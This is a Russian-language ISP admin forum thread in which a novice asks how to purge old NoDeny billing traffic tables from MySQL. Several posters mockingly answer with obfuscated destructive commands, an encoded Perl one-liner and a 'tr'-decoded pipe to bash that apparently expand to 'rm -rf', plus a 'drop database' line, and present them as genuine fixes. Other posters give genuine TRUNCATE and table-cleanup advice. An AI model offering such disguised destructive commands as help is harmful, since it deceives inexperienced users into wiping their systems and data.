NETOS 137 Posted 2012-08-21 18:48:35 Share Posted 2012-08-21 18:48:35 Приветствую! Подскажите как удалить старую статистику биллинга, место заканчивалось и вот его нет вообще. Биллинг пишет что нет информации о ходе записи трафика. В настройках указано что статистика будет хранится 31 день, но смотрю файлы старые не удаляются. См. скрины. По заббиксу ничего не скажу, но подозреваю что в заканчивающемся месте на диске он тоже виновен. Его бы тоже почистить.... Link to post Share on other sites
Den_LocalNet 1,474 Posted 2012-08-21 19:26:50 Share Posted 2012-08-21 19:26:50 в ноудени в настройках нужно уменьшить аппетиты по детальной статистике или сходить в магазин за дополнительным хардом Link to post Share on other sites
NETOS 137 Posted 2012-08-21 20:36:30 Author Share Posted 2012-08-21 20:36:30 Причем тут? Я спрашивал как удалить то что уже наработано? Link to post Share on other sites
nightfly 1,252 Posted 2012-08-21 20:49:06 Share Posted 2012-08-21 20:49:06 Ухты, делать TRUNCATE табличек методом кнопочки F8 в миднайте это новое слово в "научном администрировании" Автору топика могу посоветовать лишь воспользоваться следующим способом: perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' Link to post Share on other sites
NETOS 137 Posted 2012-08-21 21:40:37 Author Share Posted 2012-08-21 21:40:37 Ну я скрин прикрепил показать о том что там есть записи не нужных, месяцев (хотя я не уверен что это оно) и ничего я в ручную никогда не удаляю, если не знаю о последствиях. А это perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' как понимать ? Link to post Share on other sites
nightfly 1,252 Posted 2012-08-21 21:56:53 Share Posted 2012-08-21 21:56:53 как понимать ? как есть Ну может так понятнее будет: echo update_+f | tr -s "f+_etadpu" "*/ rf- mr" | bash Link to post Share on other sites
Melanxolik 63 Posted 2012-08-22 06:01:33 Share Posted 2012-08-22 06:01:33 вы уверены что забих и дени сожрал? забих токлу. уменьшайте периоды. потом dump / restore и смотря что у вас myisam или innodb Link to post Share on other sites
NETOS 137 Posted 2012-08-22 06:23:19 Author Share Posted 2012-08-22 06:23:19 Вы можете дельно сказать? А не догадками. Я не разбираюсь в MySQL, только FreeBSD освоил немного, и все сразу не разберу, а сделать нужно срочно. Link to post Share on other sites
maxx 202 Posted 2012-08-22 06:57:35 Share Posted 2012-08-22 06:57:35 Я не разбираюсь в MySQL, только FreeBSD освоил немного, и все сразу не разберу, а сделать нужно срочно. тогда или рискуйте уронить базу или платите деньги тем кто не уронит ее. Link to post Share on other sites
BUM 245 Posted 2012-08-22 07:24:45 Share Posted 2012-08-22 07:24:45 perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' Боюсь это сильно жестоко ) Зато места будет много Link to post Share on other sites
wifi_master 132 Posted 2012-08-22 07:47:16 Share Posted 2012-08-22 07:47:16 mysql -u root -p use bill; TRUNCATE TABLE имя таблицы с трафиком; Link to post Share on other sites
911 140 Posted 2012-08-22 07:54:40 Share Posted 2012-08-22 07:54:40 echo "drop database bill" | mysql -u root -phardpass Link to post Share on other sites
nightfly 1,252 Posted 2012-08-22 08:32:23 Share Posted 2012-08-22 08:32:23 Я не разбираюсь в MySQL, только FreeBSD освоил немного, и все сразу не разберу, а сделать нужно срочно. Ну дык говорю же echo update_+f | tr -s "f+_etadpu" "*/ rf- mr" | bash Чисто BSD way или вон господин 911 предлагает вам еще более прозрачный вариант Link to post Share on other sites
Melanxolik 63 Posted 2012-08-22 08:39:15 Share Posted 2012-08-22 08:39:15 ну не проблема, за определенную плату сообщество готово Вам помочь в решении проблемы, номера кошельков могу сбросить в личку. Link to post Share on other sites
NETOS 137 Posted 2012-08-22 08:45:00 Author Share Posted 2012-08-22 08:45:00 А могу ли я просто удалить вручную отмеченные таблицы и подобные как на скрине? А команда echo "drop database bill" | mysql -u root -phardpass случайно не удалит полностью все? Link to post Share on other sites
aike 60 Posted 2012-08-22 09:05:09 Share Posted 2012-08-22 09:05:09 А могу ли я просто удалить вручную отмеченные таблицы и подобные как на скрине? А команда echo "drop database bill" | mysql -u root -phardpass случайно не удалит полностью все? Правильный ответ был тогда или рискуйте уронить базу или платите деньги тем кто не уронит ее. Остальные просто юмор. perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' самый лучший альтернативный вариант http://lurkmore.to/Rm_-rf Link to post Share on other sites
KaYot 3,732 Posted 2012-08-22 09:17:41 Share Posted 2012-08-22 09:17:41 А могу ли я просто удалить вручную отмеченные таблицы и подобные как на скрине? Удалите их вручную, почему бы и нет. Странный вообще биллинг, это кто такой умный придумал таблицу на каждый день делать? Как это говно потом чистить? 1 Link to post Share on other sites
nightfly 1,252 Posted 2012-08-22 09:24:37 Share Posted 2012-08-22 09:24:37 aike Правильный ответ был KaYot Странный вообще биллинг, это кто такой умный придумал таблицу на каждый день делать? Как это говно потом чистить? Культурным языком это называется "денормализацией структуры БД" и на самом деле имеет смысл для ускорения выборок. Какая в общем разница профпригодному админу выискивать и прибивать нужный день по одной здоровенной табличке (п-ф-ф) или флушить посуточные/помесячные или еще какие? Link to post Share on other sites
KaYot 3,732 Posted 2012-08-22 09:29:49 Share Posted 2012-08-22 09:29:49 Странный вообще биллинг, это кто такой умный придумал таблицу на каждый день делать? Как это говно потом чистить? Культурным языком это называется "денормализацией структуры БД" и на самом деле имеет смысл для ускорения выборок. Какая в общем разница профпригодному админу выискивать и прибивать нужный день по одной здоровенной табличке (п-ф-ф) или флушить посуточные/помесячные или еще какие? Ну у себя я делаю что-то вроде "delete from logs where log.date < now() + 3 months". А как нормально чистить это говно? Link to post Share on other sites
911 140 Posted 2012-08-22 09:33:21 Share Posted 2012-08-22 09:33:21 оно само чистится Link to post Share on other sites
NETOS 137 Posted 2012-08-22 09:35:13 Author Share Posted 2012-08-22 09:35:13 Автору топика могу посоветовать лишь воспользоваться следующим способом: perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' Я вот только не пойму зачем такие советы давать? Если человек не понимает, то я обычно подсказываю ему, правда не по администрированию, есть и другое направление моей деятельности, в котором я уверен что разбираюсь на 5. 1 Link to post Share on other sites
nightfly 1,252 Posted 2012-08-22 09:35:28 Share Posted 2012-08-22 09:35:28 KaYot А как нормально чистить это говно? Все также $query="DROP TABLE `".date("zYxmxd")."`"; NETOS Я вот только не пойму зачем такие советы давать? ну вот, приперся aike-очевидность и испортил все веселье Если человек не понимает...... ...значит он непрофпригоден Link to post Share on other sites
NETOS 137 Posted 2012-08-22 09:45:48 Author Share Posted 2012-08-22 09:45:48 KaYot А как нормально чистить это говно? Все также $query="DROP TABLE `".date("zYxmxd")."`"; NETOS Я вот только не пойму зачем такие советы давать? ну вот, приперся aike-очевидность и испортил все веселье Если человек не понимает...... ...значит он непрофпригоден А до Вашей профпригодности, вы были сильно профпригодны? Link to post Share on other sites
nightfly 1,252 Posted 2012-08-22 09:46:50 Share Posted 2012-08-22 09:46:50 А до Вашей профпригодности, вы были сильно профпригодны? На жалость давите? Бесперспективно. Link to post Share on other sites
BUM 245 Posted 2012-08-22 10:18:14 Share Posted 2012-08-22 10:18:14 А могу ли я просто удалить вручную отмеченные таблицы и подобные как на скрине? да спокойно можете, там только данные по трафику. Еще можно очистить таблички: traf_lost traf_info sat_log далее оптимизируйте таблицы, эти таблицы. Link to post Share on other sites
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now